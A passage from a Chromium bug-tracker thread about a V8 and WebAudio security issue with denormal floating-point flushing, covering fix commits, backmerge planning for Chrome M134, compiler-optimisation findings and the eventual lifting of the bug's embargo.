Branch: main
Author: Leszek Swirski <leszeks@chromium.org>
Link: https://chromium-review.googlesource.com/6234014

[d8] Add worker option for setting non-default denormal flush

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #77 Feb 5, 2025 05:35PM

All the CLs in #comment70 and #comment71 are merged.

According to #comment67 we should wait 48 hours after the last change before requesting a merge. So I will hold this until Friday morning Pacific Time, then set to Fixed and request merges to 132 and 133.

ap...@google.com <ap...@google.com> #78 Feb 6, 2025 12:04PM

Project: v8/v8
Branch: main
Author: Leszek Swirski <leszeks@chromium.org>
Link: https://chromium-review.googlesource.com/6236978

[numbers] Be robust against flushed denormals in double-to-string

▶ Expand for full commit details

ap...@google.com <ap...@google.com> #79 Feb 6, 2025 01:29PM

Project: v8/v8
Branch: main
Author: Leszek Swirski <leszeks@chromium.org>
Link: https://chromium-review.googlesource.com/6239638

[d8] Disable setFlushDenormals under correctness fuzzing

▶ Expand for full commit details

am...@chromium.org <am...@chromium.org> #80 Feb 6, 2025 11:07PM

Okay, as of right now, the webaudio work (detailed in c#70) is in a place with sufficient bake time we could do merge review. And chatting with mjwilson@ off-bug it does sound like we could and should consider merging the WebAudio changes first.

The actual security fix, however, lies in the V8 code, which was more recently landed and also is complex and non-trivial. Since these changes are reliant on each other, my current proposed plan for backmerge review is as follows:

1. tomorrow, Friday, 7 February merge review and with goal to approve the WebAudio changes in c#70 for merge to *M134 Beta*. (only one change will actually need merge review for 134 beta (https://crrev.com/c/6226252) as the other two CLs landed (https://crrev.com/c/6219685 and the change to add the flag to enable strict JS compliance in AudioWorklet https://crrev.com/c/6077677, landed in 134 and 133 respectively)
2. On Monday, after extra bake time for the initial V8 changes (c#71) + minimal time for the newest V8 changes in (#78 and #70), merge review with the goal of approving the V8 changes to be merge to *M134 Beta*
3. all changes would be in M134 Beta for the next M134 Beta release on Wednesday, 12 February

From there we can make determinations to further backmerge all changes to Stable and Extended Stable based on Beta performance.

Running this plan with mjwilson@ off-bug, we are in agreement; however, since we're way off-timezone for the V8 folks in Munich I wanted to pose this here to get confirmation from V8 that this plan is okay or determine alternatives.

---

jk...@chromium.org <jk...@chromium.org> #81 Feb 7, 2025 10:47AM

The plan in #80 sounds good to me.

One minor comment: backmerging the V8 fix in #79 (which was probably meant by "... and #70") doesn't matter much one way or the other. It touches code that isn't shipped in Chrome; it would be useful for running fuzzers on the branch but AFAIK we don't do that. So there's little if any reason to merge it, but also zero risk to doing it.

The patches in #71 (both of them) and #78 are definitely required. I have no objections to waiting until Monday.

---

le...@chromium.org <le...@chromium.org> #82 Feb 7, 2025 10:54AM

+1 to this plan sounding good.

Note that the patch in #78 solves actually a slightly issue with denormal flushing than the one we've been discussing (buffer overrun in double printing, rather than a runtime-compiler inconsistency), which was flushed out (pun absolutely intended) by fuzzers after we introduced a flag for testing denormal flushing in `d8`. Notably, we don't have a known way of exploiting it, which might affect merge decisions (OTOH it's also pretty trivial so I wouldn't argue against merging it).

---

pe...@google.com <pe...@google.com> #83 Feb 7, 2025 04:44PM

The NextAction date has arrived: 2025-02-07 To opt-out from this automation rule, please add Optout-Blintz-Nextaction-Alert to the "Chromium Labels" custom field.

---

am...@chromium.org <am...@chromium.org> #84 Feb 7, 2025 04:58PM

Thank you both for the responses.

I've just reviewed the last webaudio change needing backmerge to M134 Beta, https://crrev.com/c/6226252 -- approving for backmerge to 134 Beta at this time. Please go ahead and merge this fix to branch 6998 at your earliest convenience, mjwilson@.

(Regardless of my using the merge field or not, the automation is still going to update Merge to merged-6998 when done. This will be fine because Merge field should be updated by the bot to merged-13.4 when those are done, so it shouldn't be too confusing tracking wise, hopefully.)

---

mj...@google.com <mj...@google.com> #85 Feb 7, 2025 05:13PM

Marked as fixed.

Thank you, I will set to fixed so the rest of the merge automation can run.

M134 merge CL is up here: https://crrev.com/c/6242822

---

pe...@google.com <pe...@google.com> #86 Feb 7, 2025 05:13PM

Status: Assigned (reopened)

Dear owner, thanks for fixing this bug. We've reopened it because:

- It is not clear which CLs have ‘fixed’ (=required to consider the bug resolved; e.g. not logging) this bug. Please fill in the “Fixed By Code Changes” field with the appropriate Gerrit url to disambiguate using the following guidelines:
  - If there are multiple CLs required, please list all.
  - If the fix landed in a third party library (v8, Dawn, etc), please list the third party commits - not the rolls.
  - If there are cherrypicks or back merges, please list the original commits which landed on HEAD.
  - If there is no relevant Gerrit link (i.e. the fix does not live in or roll into Chromium), please use the value ‘NA’.
  - If this is a non-browser ChromeOS-specific bug, please move it to component 1335705 in the Google issue tracker.
  - If this field requires human intervention for some reason, please add this bug to the hotlist id 6265590. After resolving the above issue(s), this bug can be marked closed again. Thanks for your time!

---

am...@chromium.org <am...@chromium.org> #87 Feb 7, 2025 05:16PM

Marked as fixed.

Updating the fixed by code changes field with the V8 change that is related to the mitigation so this can stay set as Fixed.

mj...@google.com <mj...@google.com> #88 Feb 7, 2025 05:21PM

#comment87 Thank you, can you please try to set Merge: Approved-134 again as well?

Otherwise I may not be able to land https://crrev.com/c/6242822 (it is also currently waiting for owner approval on one file).

ap...@google.com <ap...@google.com> #89 Feb 7, 2025 10:38PM

Project: chromium/src
Branch: refs/branch-heads/6998
Author: Michael Wilson <mjwilson@chromium.org>
Link: https://chromium-review.googlesource.com/6242822

[M134] Allow denormal flushing to outlive scoped object

▶ Expand for full commit details

am...@chromium.org <am...@chromium.org> #90 Feb 10, 2025 05:56PM

For https://crrev.com/c/6226080 [isolate] cache FPU mode on isolate start up: there appears to be a potential performance regression related to this change, and it looks like we got a report of a DCHECK failure from a VRP reporter (https://crbug.com/395329242), which I presume our fuzzers will likely find soon as well. I'm not sure this is benign or not, but seems like something for investigation before we do any backmerges on this.

le...@chromium.org <le...@chromium.org> #91 Feb 10, 2025 06:02PM

Let me reply on that bug, it's a dupe of the issue fixed by the CL in #78 (and is an existing denormal flushing issue, unrelated to https://crrev.com/c/6226080 -- it bisects to it because that one introduces test helpers which enable finding such issues).

am...@chromium.org <am...@chromium.org> #92 Feb 10, 2025 10:35PM

Thanks for looking into that so quickly. I was in the process of also looking at https://crrev.com/c/6230154 when I had to go to meetings. In the five days since that's been on canary, I only see one crash, but specific to wasm::NativeModule::module. So presuming no issues in general or with https://crrev.com/c/6226080, please go ahead and merge both and https://ccrev.com/c/6234014 and https://crrev.com/c/6236978to 134 Beta / v8 branch 13.4 by EOD tomorrow 11 February so these changes can all be included in this week's Beta update.

ap...@google.com <ap...@google.com> #93 Feb 11, 2025 03:52PM

Project: v8/v8
Branch: refs/branch-heads/13.4
Author: Leszek Swirski <leszeks@google.com>
Link: https://chromium-review.googlesource.com/6253039

Merged: [isolate] Cache FPU mode on isolate startup

▶ Expand for full commit details

ap...@google.com <ap...@google.com> #94 Feb 11, 2025 04:23PM

Project: v8/v8
Branch: refs/branch-heads/13.4
Author: Leszek Swirski <leszeks@chromium.org>
Link: https://chromium-review.googlesource.com/6253081

Merged: [numbers] Be robust against flushed denormals in double-to-string

▶ Expand for full commit details

ap...@google.com <ap...@google.com> #95 Feb 11, 2025 05:00PM

Project: v8/v8
Branch: refs/branch-heads/13.4
Author: Jakob Kummerow <jkummerow@chromium.org>
Link: https://chromium-review.googlesource.com/6253083

Merged: [wasm] Treat flush-to-zero denormals consistently

▶ Expand for full commit details

le...@chromium.org <le...@chromium.org> #96 Feb 11, 2025 05:05PM

Ok, these three merges should cover us, there's no need to merge https://crrev.com/c/6234014, it's just a test helper in `d8`.

pe...@google.com <pe...@google.com> #97 Feb 14, 2025 04:37PM

This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add Disable-Nags (case sensitive) to the Chromium Labels custom field.

mj...@google.com <mj...@google.com> #98 Feb 14, 2025 05:11PM

My understanding is that M134 merges are all complete, and we are waiting to see if we should merge to M133 and M132.

le...@chromium.org <le...@chromium.org> #99 Feb 20, 2025 11:00AM

I have a new finding here, courtesy of crbug.com/397731718. It looks like the LLVM C++ compile assumes that FP flags are not changed -- in particular, a branch I had checking `if (std::max(MIN_DENORMAL_VALUE, x) > 0)` was being optimized away as trivially true. I'll likely be able to fix this locally, but there may be other C++ code that is also optimised with the assumption that denormals are not flushed.

ap...@google.com <ap...@google.com> #100 Feb 20, 2025 03:15PM

Project: v8/v8
Branch: main
Author: Leszek Swirski <leszeks@chromium.org>
Link: https://chromium-review.googlesource.com/6286167

[conversions] Check for denormal flushing in DoubleToRadixString

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #101 Feb 20, 2025 05:08PM

#comment99 I saw something similar when working on the denormal disabler test here. It seems like constants and constant expressions will be compiled assuming denormals are not flushed to zero. I fixed it in my case by marking the variable as `volatile`.

This is annoying to have to keep in mind, but I don't think it enables the security exploit because the actual FP state is consistent when the code is actually run. That is, I think in my original code for example LLVM was optimizing:

```
const double denorm = 2.225e-308;
return !((denorm / 2.0) > 0.0);
```

to

```
return false;
```

When I changed `denrom` to `volatile` it couldn't perform this optimization anymore, but in either case the actual CPU flag register at time of execution would be consistent.

Do we need to look into this further?

le...@chromium.org <le...@chromium.org> #102 Feb 20, 2025 06:03PM

In the above V8 case, it ended up a security bug because it made a guaranteed-to-terminate loop no longer terminate (because it wasn't making any progress), and write OOB into a string buffer. We may need to look into the impact of compiling Chromium with strict fp handling.

ap...@google.com <ap...@google.com> #103 Feb 24, 2025 06:24PM

Project: v8/v8
Branch: refs/branch-heads/13.4
Author: Leszek Swirski <leszeks@chromium.org>
Link: https://chromium-review.googlesource.com/6299389

Merged: [conversions] Check for denormal flushing in DoubleToRadixString

▶ Expand for full commit details

mj...@google.com <mj...@google.com> #104 Mar 11, 2025 09:25PM

Would it be ok to comment on the current state of the V8 assertions in the public bug here: https://crbug.com/396536636 ? Is it fair to say that the V8 assertions are or will be sufficient to prevent regression, or do we need to write some additional tests?

sa...@google.com <sa...@google.com> #105 Jul 23, 2025 03:24PM

Small update regarding the embargo on this bug:

- Apple has fixed this issue in Safari and issued it CVE-2025-24213: https://support.apple.com/en-mide/122405
- Mozilla is still investigating whether this is a security issue for them or just a correctness issue. It seems like it might also be a security issue in Firefox so we should keep this bug embargoed for a bit longer

sa...@google.com <sa...@google.com> #106 Oct 29, 2025 01:56PM

Mozilla informed me (already a while ago but I had missed it) that they don't believe that the remaining issues on their side are exploitable and that they are comfortable with derestricting this bug. As such, I'll lift the embargo now.

sa...@google.com <sa...@google.com> #107 Oct 29, 2025 01:58PM

And also manually derestricting the issue now as that seems to be necessary (see comment #36)